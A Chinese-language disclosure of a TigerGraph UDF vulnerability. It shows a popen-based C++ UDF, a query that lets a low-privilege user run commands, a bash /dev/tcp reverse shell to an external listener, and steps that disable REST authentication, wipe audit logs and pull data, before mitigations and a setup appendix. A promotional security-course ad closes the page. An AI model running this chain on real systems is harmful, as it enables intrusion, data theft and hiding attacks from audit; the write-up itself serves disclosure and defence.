TigerGraph UDF 漏洞:详细信息和示例
CVE 参考地址:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202209-215
TigerGraph 图数据库为用户提供了远程上传任意 C++
源代码以创建用户定义函数的工具。该代码会自动编译并安装到敏感的系统组件中,几乎不需要仔细检查。由于缺乏保护措施,这个过程可以以最小的权限被利用,让攻击者完全控制整个
TigerGraph 集群和底层服务器。
背景
在这篇文章中,详细介绍了在 TigerGraph 产品中发现的一个关键 CVE。 这些细节在过去三个月内没有公开披露,以便在 CVE 的细节公开之前让
TigerGraph 有足够的时间修复漏洞并加强其安全性。
我们将展示如何使用 TigerGraph 的 GSQL 查询语言的功能将用户的权限提升为管理用户的权限、禁用身份验证、泄露敏感数据,然后删除审计跟踪。
在撰写本文时,这些问题会影响 TigerGraph Server 3.6.0 的最新版本以及从该代码库派生的任何其他产品。例如,官方 TigerGraph
Docker 镜像。虽然未经证实,但 TigerGraph Cloud 也可能受到影响。
问题
TigerGraph 是一个图数据库,具有称为 GSQL 的专有查询语言。GSQL
的功能之一是能够创建[查询用户定义的函数](https://docs.tigergraph.com/gsql-
ref/current/querying/func/query-user-defined-functions)(缩写为 UDF)。UDF 是 C++
源代码,它被编译并链接到 TigerGraph 数据库中,为 GSQL 查询提供额外的功能。
在 TigerGraph 中,UDF 继承了其实现语言 C++
的特性,允许用户访问非托管内存和不安全指针。由于没有真正的运行时安全保护,指针和缓冲区溢出漏洞是一种真正的可能性。事实上,我们在 TigerGraph 的
LDBC 代码中发现了这样一个漏洞——缓冲区溢出——几行代码(这让我们看到了这个和其他类似的安全缺陷)。
为了突出这个关键的安全漏洞,我们首先展示了在系统正常操作下允许用户做什么*,*以及这如何破坏对 TigerGraph
中的安全性所做的一些假设。我们首先展示如何在远程 TigerGraph 系统上获得具有管理权限的远程 shell。
第一步是调出一个远程TigerGraph系统,添加一些不同级别的用户,并创建一个测试数据库。
附录 A:设置 TigerGraph 服务器中提供了使用 Docker 执行此操作的说明。
1. UDF 的远程安装
一旦系统启动并运行,我们将创建一个run_shell_expr
从下面的 C++ 代码调用的新 UDF。UDF 将简单地接受一个字符串,在子 Shell
中运行并返回输出:
inline string run_shell_expr (string cmd) {
char buffer[4096];
std::string result = "";
FILE* pipe = popen(cmd.c_str(), "r");
if (pipe){
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
} catch (...) {
/*...*/
}
pclose(pipe);
}
return string(result);
}
一旦我们将 UDF 编码到udf.hpp
本地机器上调用的文件中,我们就可以使用 GSQL 客户端使用tigergraph
用户将其安装到远程系统上:
$ java -jar gsql_client.jar -ip localhost
Adding gsql-server host localhost
Password for tigergraph : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > PUT ExprFunctions FROM "./udf.hpp"
PUT ExprFunctions successfully.
这会将我们的 C++ 源文件通过网络复制到 TigerGraph 系统上,并在那里自动编译和安装。此时,我们的
UDFrun_shell_expr
可供所有用户在查询中使用,尽管仅由超级用户上传。
请注意 ,为简洁起见,上述代码片段省略了创建 UDF 所需的一些样板代码,但完整代码可在附录 A:UDF 代码中找到。
2.远程安装查询
下一步是创建一个调用run_shell_expr
UDF 的新查询。同样,这是使用 GSQL
控制台进行的远程操作,但由低权限用户bob
执行,该用户仅具有在名为test
的图上创建和运行查询的本地权限(bob
仅有querywriter
权限)。下面我们展示了执行此操作的
GSQL 命令:
$ java -jar gsql_client.jar -ip localhost -u bob
Adding gsql-server host localhost
Password for bob : ***
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL > use graph test
Using graph 'test'
GSQL > begin
GSQL > CREATE QUERY run_cmd(string cmd) FOR GRAPH test {
GSQL > PRINT run_shell_expr(cmd);
GSQL > }
GSQL > end
Successfully created queries: [run_cmd].
GSQL > install query run_cmd
Start installing queries, about 1 minute ...
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.
[========================================================================================================] 100% (1/1)
Query installation finished.
GSQL >
安装run_cmd
查询后,它将在远程 TigerGraph 系统上运行简单的命令。在这种情况下,我们使用id
命令查看 UDF
正在由应用程序级超级用户在远程系统上执行:tigergraph
。
GSQL > RUN QUERY run_cmd("id")
{
"error": false,
"message": "",
"version": {
"schema": 0,
"edition": "enterprise",
"api": "v2"
},
"results": [{"run_shell_expr(cmd)": "uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)\n"}]
}
3.远程获取 Shell
请注意在安装查询之前显示的消息:
run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
此消息让我们知道 TigerGraph 已自动为run_cmd
查询创建了一个 REST
API。因此,下一步是获取一个以tigergraph
用户身份运行的反向 Shell,但使用仅有最低权限的用户alice
执行此操作。
为了使其正常工作,您将需要一台可以将网络流量路由到外部地址和端口的机器。在此示例中,我们使用 IP
地址192.168.0.2
和端口4444
。设置好机器后,打开一个新的控制台窗口并在其中使用 netcat 实用程序来监听网络流量:
$ nc -l 4444 -v
在另一个控制台中,我们只需使用alice
的授权令牌生成一个 HTTP POST 请求:
$ curl -X POST \
-H 'Authorization: Bearer aa4upir75pntu90pckr2ldr395l3hh70' \
http://localhost:14240/restpp/query/test/run_cmd \
-d '{"cmd": "bash -c \"bash -i >& /dev/tcp/192.168.0.2/4444 0>&1\""}'
{"error":true,"message":"The query didn't finish because it exceeded the query timeout threshold (16 seconds). Please check GSE log for license expiration and RESTPP/GPE log with request id (65548.RESTPP_1_1.1659629508618.N) for details. Try increase RESTPP.Factory.DefaultQueryTimeoutSec or add header GSQL-TIMEOUT to override default system timeout. ","results":[],"code":"REST-3002"}%
请注意 ,需要稍微修改 URL,因为我们正在将流量转发到 Docker 容器中。
Shell 会话将在您的第一个窗口中打开,您可以在其中以tigergraph
用户身份自由执行命令:
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ id
id
uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ pwd
pwd
/home/tigergraph/tigergraph/app/3.5.3/bin
4. 规避安全功能和泄露数据
现在我们作为管理用户拥有 Shell 访问权限,现在可以禁用 REST API 的身份验证,并且可以删除系统审计日志的选择以覆盖攻击:
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config set RESTPP.Factory.EnableAuth false
[ Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config apply
[ Note] Changes:
RESTPP.Factory.EnableAuth: true -> false
Proceed to apply? (y/N)y
[ Info] Successfully applied configuration change. Please restart services to make it effective immediately.
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin restart restpp nginx gui gsql -y
[ Info] Stopping NGINX RESTPP GSQL GUI
[ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI
tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/log$ rm gsql/* restpp/* controller/*
为了证明身份验证被禁用,可以从test2
具有零授权用户的第二个图中窃取一些敏感数据:
$ curl -X GET "http://localhost:14240/restpp/graph/test2/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%
复合因素
我们已经证明,如果用户愿意,他们可以使用 GSQL 中的 UDF 工具来绕过 TigerGraph
的所有安全保护措施并泄露敏感数据。更重要的是,可以使用系统中特权最低的角色之一执行实际攻击queryreader
——使用 TigerGraph 的
REST API。
我们使用的示例场景是为教学目的而设计的。我们做出的假设之一是攻击者需要安装恶意
UDF(类似于run_shell_expr
UDF),并且他们需要管理访问权限才能执行此操作。但是,基于需要安装权限这一事实而忽略该漏洞是幼稚的。
我们为这种思路提供了三个反驳论点:
-
它假定系统没有可利用的错误;
-
它隐含地信任任何有权访问管理用户的人不会破坏系统的完整性;和
-
这意味着管理用户可以访问系统中放置的所有敏感数据。
CVE 表明 TigerGraph 中没有足够的防御措施来防止 UDF 中潜在的缓冲区溢出被具有最低权限级别之一的用户利用。
缓解措施
当看到该漏洞时,TigerGraph 确认这是他们期望 UDF 的行为方式,并提供了以下缓解措施:
-
启用 GSQL 和 REST 端点的身份验证;和
-
更改
tigergraph
管理员用户的默认密码。
TigerGraph 的 Docker 映像已更新,现在远程 GSQL 客户端会提示用户输入密码。
但是,如果错误被意外包含在安装到系统中的 UDF 中(如这里的情况),或者攻击者可以访问tigergraph
用户,则几乎没有保护。允许将不受约束的
C++ 链接到 TigerGraph 二进制文件是一种冒险的架构选择,具有明显的缺点。
建议
虽然当前的系统架构和 UDF 设计和保护机制仍然存在,但该漏洞仍将保留在 TigerGraph 产品中。
我们同时使用 TigerGraph 的建议是:
-
避免使用 UDF:因为即使是未使用的 UDF 也会带来安全风险。
-
如果必须使用 UDF,请清理 GSQL 和 UDF 之间的所有输入:我们承认这非常困难,因为它要么必须作为 UDF 完成,要么使用 GSQL 编写。
-
限制 TigerGraph 对包含敏感数据的网络的访问:由于 TigerGraph 集群能够运行任意代码,因此确保进出它的网络流量受到限制是明智之举。
附录 A
设置 TigerGraph 服务器
使用 Docker 下载最新的 TigerGraph 镜像并启动服务器。我们按照 TigerGraph
提供的[说明](https://docs.tigergraph.com/tigergraph-server/current/getting-
started/docker)进行操作。
- 下载并运行docker镜像(注意:我们不需要附加卷):
$ docker run -d \
-p 14022:22 \
-p 9000:9000 \
-p 14240:14240 \
--name tigergraph \
--ulimit nofile=1000000:1000000 \
-t docker.tigergraph.com/tigergraph:latest
- 容器启动后,通过 ssh 连接(注意:默认密码为
tigergraph
):
$ ssh -p 14022 tigergraph@localhost
- 启动所有TigerGraph服务:
$ gadmin start all
- 使用 GSQL 创建一个空图:
$ gsql "create graph test()"
alice
使用 GSQL 创建一个具有最低权限的用户:
$ gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****
- 授予以下权限
alice
:
$ gsql -g test "grant role queryreader on graph test to alice"
- 创建秘密
alice
:
$ gsql -u alice -p alice -g test "create secret"
The secret: rdua9klbkp88t2jkd8me44nd5638d73t has been created for user "alice".
- 创建一个用户——
bob
拥有足够的权限使用 GSQL 创建新的查询:
$ gsql "create user"
User Name : bob
New Password : *****
Re-enter Password : *****
- 授予以下权限
bob
:
$ gsql -g test "grant role querywriter on graph test to bob"
- 创建第二个名为的图
test2
并向其添加一个节点:
$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test2(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test2 {
GSQL> INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")
- 更改
tigergraph
用户的默认密码:
$ gsql "alter password"
- 启用RESTPP认证:
gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply
gadmin restart restpp nginx gui gsql -y
设置 GSQL 客户端
- 一旦 TigerGraph 运行,我们可以从正在运行的容器中获取一份
gsql_client.jar
的副本。注意:您需要正确版本的客户端才能成功连接到服务器。
$ docker cp tigergraph:/home/tigergraph/tigergraph/app/3.5.3/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar
- 要为特定用户打开 GSQL 控制台会话,请运行客户端,如下所示:
$ java -jar gsql_client.jar -ip localhost -u
Adding gsql-server host localhost
Password for : *****
If there is any relative path, it is relative to /dev/gdk/gsql
Welcome to TigerGraph.
GSQL >
UDF 代码
/******************************************************************************
* Copyright (c) 2015-2016, TigerGraph Inc.
* All rights reserved.
* Project: TigerGraph Query Language
* udf.hpp: a library of user defined functions used in queries.
*
* - This library should only define functions that will be used in
* TigerGraph Query scripts. Other logics, such as structs and helper
* functions that will not be directly called in the GQuery scripts,
* must be put into "ExprUtil.hpp" under the same directory where
* this file is located.
*
* - Supported type of return value and parameters
* - int
* - float
* - double
* - bool
* - string (don't use std::string)
* - accumulators
*
* - Function names are case sensitive, unique, and can't be conflict with
* built-in math functions and reserve keywords.
*
* - Please don't remove necessary codes in this file
*
* - A backup of this file can be retrieved at
* /dev_/gdk/gsql/src/QueryUdf/ExprFunctions.hpp
* after upgrading the system.
*
******************************************************************************/
#ifndef EXPRFUNCTIONS_HPP_
#define EXPRFUNCTIONS_HPP_
#include
#include
#include
#include
#include
#include
/** XXX Warning!! Put self-defined struct in ExprUtil.hpp **
* No user defined struct, helper functions (that will not be directly called
* in the GQuery scripts) etc. are allowed in this file. This file only
* contains user-defined expression function's signature and body.
* Please put user defined structs, helper functions etc. in ExprUtil.hpp
*/
#include "ExprUtil.hpp"
namespace UDIMPL {
typedef std::string string; //XXX DON'T REMOVE
/****** BIULT-IN FUNCTIONS **************/
/****** XXX DON'T REMOVE ****************/
inline int64_t str_to_int (string str) {
return atoll(str.c_str());
}
inline int64_t float_to_int (float val) {
return (int64_t) val;
}
inline string to_string (double val) {
char result[200];
sprintf(result, "%g", val);
return string(result);
}
inline string run_shell_expr (string cmd) {
char buffer[4096];
std::string result = "";
FILE* pipe = popen(cmd.c_str(), "r");
if (pipe){
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
} catch (...) {
/*...*/
}
pclose(pipe);
}
return string(result);
}
}
/****************************************/
#endif /* EXPRFUNCTIONS_HPP_ */
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】